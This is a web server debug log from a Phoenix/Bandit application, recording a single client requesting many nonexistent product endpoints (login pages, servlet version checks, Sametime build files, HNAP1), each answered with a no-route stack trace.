    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:30.845000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55792] GET /NCMContainer.cc
[Thu Sep  3 08:07:30.865000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55792] ** (Phoenix.Router.NoRouteError) no route found for GET /NCMContainer.cc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:31.304000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55804] GET /configurations.do
[Thu Sep  3 08:07:31.351000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55804] ** (Phoenix.Router.NoRouteError) no route found for GET /configurations.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:34.180000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53742] GET /login.do
[Thu Sep  3 08:07:34.204000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53742] ** (Phoenix.Router.NoRouteError) no route found for GET /login.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:34.550000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53754] POST /servlet/GetProductVersion
[Thu Sep  3 08:07:34.608000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53754] ** (Phoenix.Router.NoRouteError) no route found for POST /servlet/GetProductVersion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:34.870000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53770] GET /help/introduction/release-notes.html
[Thu Sep  3 08:07:34.896000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53770] ** (Phoenix.Router.NoRouteError) no route found for GET /help/introduction/release-notes.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:35.464000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53786] GET /event/index.do
[Thu Sep  3 08:07:35.481000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53786] ** (Phoenix.Router.NoRouteError) no route found for GET /event/index.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:38.301000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53794] GET /index.do
[Thu Sep  3 08:07:38.316000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53794] ** (Phoenix.Router.NoRouteError) no route found for GET /index.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:40.449000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53808] POST /servlet/GetProductVersion
[Thu Sep  3 08:07:40.471000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53808] ** (Phoenix.Router.NoRouteError) no route found for POST /servlet/GetProductVersion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:43.760000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48628] POST /servlet/GetProductVersion
[Thu Sep  3 08:07:43.776000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48628] ** (Phoenix.Router.NoRouteError) no route found for POST /servlet/GetProductVersion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:44.024000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48634] POST /servlet/GetProductVersion
[Thu Sep  3 08:07:44.042000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48634] ** (Phoenix.Router.NoRouteError) no route found for POST /servlet/GetProductVersion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:49.270000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48636] GET /
[Thu Sep  3 08:07:49.271000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48636] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:07:49.273000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48636] Sent 200 in 2ms
[Thu Sep  3 08:07:52.245000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48648] GET /
[Thu Sep  3 08:07:52.245000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48648] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:07:52.248000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48648] Sent 200 in 2ms
[Thu Sep  3 08:07:57.070000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53856] GET /stcenter.nsf
[Thu Sep  3 08:07:57.102000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53856] ** (Phoenix.Router.NoRouteError) no route found for GET /stcenter.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:57.744000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53870] GET /Sametime/buildinfo.txt
[Thu Sep  3 08:07:57.772000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53870] ** (Phoenix.Router.NoRouteError) no route found for GET /Sametime/buildinfo.txt (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:58.474000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53886] GET /Sametime/domino/html/sametime/buildinfoST75CF1.txt
[Thu Sep  3 08:07:58.495000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53886] ** (Phoenix.Router.NoRouteError) no route found for GET /Sametime/domino/html/sametime/buildinfoST75CF1.txt (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:59.904000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53900] GET /login/index.php
[Thu Sep  3 08:07:59.925000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53900] ** (Phoenix.Router.NoRouteError) no route found for GET /login/index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:07.616000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41948] GET /HNAP1/
[Thu Sep  3 08:08:07.660000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41948] ** (Phoenix.Router.NoRouteError) no route found for GET /HNAP1 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:14.125000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52710] GET /
[Thu Sep  3 08:08:14.126000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52710] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:08:14.127000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52710] Sent 200 in 1ms
[Thu Sep  3 08:08:15.470000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52724] GET /mve/help/en/inventory/am_about.html
